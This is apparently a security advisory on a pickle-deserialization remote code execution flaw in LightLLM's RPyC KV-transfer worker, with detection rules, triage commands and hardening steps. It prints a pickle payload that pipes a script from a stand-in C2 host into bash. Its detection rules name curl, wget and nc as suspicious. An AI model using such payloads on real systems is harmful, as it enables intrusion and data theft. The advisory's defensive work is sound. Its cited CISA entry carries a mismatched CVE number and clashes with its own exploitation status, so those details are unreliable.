CVE-2026-96560: ModelTC LightLLM Insecure Pickle Deserialization to Pre-Auth Remote Code Execution
HERMES THREAT SCORE & GPU INFERENCE CLUSTER EXPOSURE
Target:ModelTC LightLLM - KV-Transfer Worker (RPyC Control Channel) CVSS v3.1 rates this flaw at 9.8 (Critical). The Hermes Threat Score confirms this severity at 95 (CRITICAL). LightLLM is an enterprise-grade, high-throughput LLM serving engine deployed in distributed cloud environments. When configured with prefill-decode disaggregation (--pd_trans_mode nccl), the internal KV-transfer worker binds an unauthenticated RPyC RPC server. Because RPyC deserializes client payloads using Python's native pickle module without authentication or HMAC validation, any network adjacent entity or compromised sidecar can execute arbitrary shell commands with GPU host privileges, intercept in-flight prompt KV-caches, and steal foundational model weights.
CVE-2026-96560: ModelTC LightLLM Insecure Pickle Deserialization to Pre-Auth Remote Code ExecutionVULNERABILITY
Software platform affected by security vulnerabilities and agentic attack patterns.
๐ Why is this related? (Evidence & Provenance)
“Confirmed security vulnerability in LightLLM Serving Framework documented in Hermes dossier.”
- [vulnerability_report]
- [government_confirmation]CISA verified active exploitation in the wild and mandated federal remediation deadline in KEV entry. — Source: Cybersecurity & Infrastructure Security Agency (CISA): CISA Adds CVE-2026-59822 to Known Exploited Vulnerabilities Catalog (Reliability: VERY_HIGH)
1. Technical Context & Affected Software Matrix
Section titled โ1. Technical Context & Affected Software MatrixโModelTC LightLLM is a high-performance distributed serving framework optimized for open-weight Large Language Models (LLMs) such as Llama, Qwen, DeepSeek, and Mistral.
| Parameter | Technical Specification | Operational Impact |
|---|---|---|
| CVE Identifier | CVE-2026-96560 | International vulnerability tracking reference |
| Affected Framework | ModelTC LightLLM | High-throughput distributed inference engine |
| Vulnerable Component | KV-Transfer Worker (RPyC Control Plane) | Inter-node KV-cache state synchronization |
| Vulnerable Versions | <= 1.2.0 | Systems operating with --pd_trans_mode nccl |
| Flaw Type | CWE-502: Deserialization of Untrusted Data | Pre-auth Remote Code Execution (RCE) |
| Attack Vector | Network (Internal Mesh / VPC Exposure) | Malicious RPyC RPC invocation |
| Remediation Release | Version 1.2.1 | Native protocol authentication & safe serialization |
2. In-Depth Technical Decomposition
Section titled โ2. In-Depth Technical DecompositionโThe Prefill-Decode Architecture & RPyC Exposure
Section titled โThe Prefill-Decode Architecture & RPyC ExposureโIn standard monolithic LLM serving, both prompt computation (prefill) and auto-regressive generation (decode) compete for the same GPU compute cores and VRAM. Prefill-Decode (PD) disaggregation splits these roles across dedicated worker pools:
โโโโโโโโโโโโโโโโโโโโ โโโโโโโโโโโโโโโโโโโโ โ PREFILL WORKER โ โ DECODE WORKER โ โ (High Compute) โ โ (High Bandwidth) โ โโโโโโโโโโฌโโโโโโโโโโ โโโโโโโโโโฒโโโโโโโโโโ โ โ โ 1. Compute Prompt KV-Cache โ โ 2. Coordinate via RPyC โโโโโโโโผโโโโโโโโโโโ โผ โ โผ โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโดโ โโโโโโโโโโโโโโโโโโโโโโโโโโโโโ โ HIGH-SPEED NCCL INTERCONNECT โ โ ATTACKER REVERSE SHELL โ โ Direct GPU-to-GPU KV-Tensor Transfer โ โ Root access to GPU Host โ โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ โโโโโโโโโโโโโโโโโโโโโโโโโโโโโWhen started with --pd_trans_mode nccl, the LightLLM worker initiates a listener:
# Vulnerable Pattern in LightLLM KV-Transfer Worker (<= 1.2.0)from rpyc.utils.server import ThreadedServerimport pickle
class KVTransferService(rpyc.Service): def exposed_sync_kv_metadata(self, raw_metadata_bytes): # CRITICAL VULNERABILITY: Deserializing untrusted stream via pickle! metadata = pickle.loads(raw_metadata_bytes) return self._process_transfer(metadata)
def start_kv_worker(port=18888): server = ThreadedServer( KVTransferService, port=port, protocol_config={"allow_all_attrs": True} # Overly permissive RPyC configuration ) server.start()The Insecure Deserialization Root Cause
Section titled โThe Insecure Deserialization Root CauseโPythonโs pickle library is notoriously unsafe when processing untrusted input. The serialization protocol permits the definition of an objectโs reconstruction logic via the __reduce__() method. When pickle.loads() encounters a tuple (callable, arguments), it executes the callable during reconstruction:
# Exploit Constructimport pickleimport os
class ExploitPayload(object): def __reduce__(self): # Arbitrary OS Command executed upon pickle.loads() cmd = "curl -s http://attacker-c2.internal/stage2.sh | bash" return (os.system, (cmd,))
serialized_payload = pickle.dumps(ExploitPayload())Because the RPyC service neither authenticated connecting clients nor verified cryptographic HMAC signatures over serialized data, any client capable of routing packets to the KV-transfer port triggers immediate remote code execution.
3. Threat Vectors & Attack Chain Potential
Section titled โ3. Threat Vectors & Attack Chain Potentialโ- GPU VRAM & KV-Cache Extraction: By executing code on the inference host, adversaries gain access to the NVIDIA CUDA Unified Memory space via
cudaMemcpyor/dev/nvidia*device nodes. This enables intercepting raw prompt histories, proprietary customer documents injected via RAG, and private system instructions across multi-tenant sessions. - Model Weight Theft: Attackers can read local NVMe model caches (HuggingFace checkpoints, Safetensors) and exfiltrate proprietary model fine-tunes directly to cloud storage.
- Agent Infrastructure Lateral Movement: Inference nodes frequently hold high-privilege IAM instance profiles and Kubernetes service accounts with permissions to query vector databases, cloud secret stores, and orchestration APIs.
- Poisoning Inference Responses: An attacker can compromise the running weights in VRAM to silently alter model outputs, injecting backdoors or malicious tool invocations into autonomous AI agent workflows.
4. Forensic Triage & Threat Hunting
Section titled โ4. Forensic Triage & Threat Huntingโtitle: ModelTC LightLLM Insecure Deserialization RCEid: cve-2026-96560-lightllm-rpyc-rcestatus: experimentaldescription: Detects suspicious network connections to LightLLM KV-transfer RPyC ports followed by anomalous child process creation from Python inference daemons.author: Hermes Codex Cyber Threat Intelligencedate: 2026-09-27references: - https://nvd.nist.gov/vuln/detail/CVE-2026-96560 - https://github.com/ModelTC/lightllmtags: - attack.initial_access - attack.t1190 - attack.execution - attack.t1059.006logsource: category: process_creation product: linuxdetection: parent_process: Image|endswith: - '/python' - '/python3' CommandLine|contains: - 'lightllm' - '--pd_trans_mode' - 'nccl' suspicious_child: Image|endswith: - '/bin/sh' - '/bin/bash' - '/usr/bin/curl' - '/usr/bin/wget' - '/usr/bin/nc' - '/usr/bin/python' condition: parent_process and suspicious_childlevel: critical# Suricata Rule: Detect unauthenticated RPyC handshake on default inference worker portsalert tcp any any -> any [18888,18889,18890] (msg:"HERMES - ModelTC LightLLM RPyC KV-Transfer Inbound Traffic"; \flow:to_server,established; \content:"RPyC"; depth:10; \classtype:attempted-admin; sid:202696560; rev:1;)# 1. Identify LightLLM processes running in NCCL disaggregation modeps aux | grep -E "lightllm.*--pd_trans_mode.*nccl"
# 2. Inspect active listening ports belonging to the inference workernetstat -tulpn | grep python3
# 3. Check for unauthorized spawned shell processes under the inference UIDpstree -p $(pgrep -f "lightllm.server")
# 4. Search GPU device node audit records for non-runtime memory accessausearch -k gpu_access -ts recent5. Mitigation & Defensive Hardening Strategy
Section titled โ5. Mitigation & Defensive Hardening Strategyโ-
Update to LightLLM Version 1.2.1: Upgrade the LightLLM container image or Python package to version 1.2.1 or newer, which deprecates pickle deserialization over network sockets in favor of safe JSON/Capโn Proto serialization and enforces TLS authentication:
Terminal window pip install --upgrade lightllm>=1.2.1 -
Network Isolation & Kubernetes NetworkPolicies: If upgrading cannot be applied immediately, restrict access to the KV-transfer ports (
18888-18900) strictly to designated internal worker pods:apiVersion: networking.k8s.io/v1kind: NetworkPolicymetadata:name: isolate-lightllm-kv-transfernamespace: ai-inferencespec:podSelector:matchLabels:app: lightllm-workeringress:- from:- podSelector:matchLabels:app: lightllm-prefillports:- protocol: TCPport: 18888 -
Disable Root Execution in Container Runtimes: Enforce non-root execution (
securityContext.runAsNonRoot: true) and drop all capabilities (drop: ["ALL"]) exceptIPC_LOCKrequired for CUDA memory pinning.
6. What Hermes Does Not Know (Analytical Uncertainty)
Section titled โ6. What Hermes Does Not Know (Analytical Uncertainty)โ- โ Global internet exposure count: The RPyC worker port is intended for internal VPC communication, but misconfigured Kubernetes LoadBalancers or hostNetwork configurations frequently expose it to public search engines (Censys/Shodan).
- โ Active in-the-wild exploitation by named APT groups: While functional PoCs circulate in private researcher channels, telemetry has not yet recorded widespread opportunistic automated botnet activity on public IPv4 ranges.
- โ Hardware-level persistence feasibility: Whether malicious shellcode executed via pickle deserialization can reflash GPU VBIOS or establish persistent rootkits in GPU firmware is currently unconfirmed.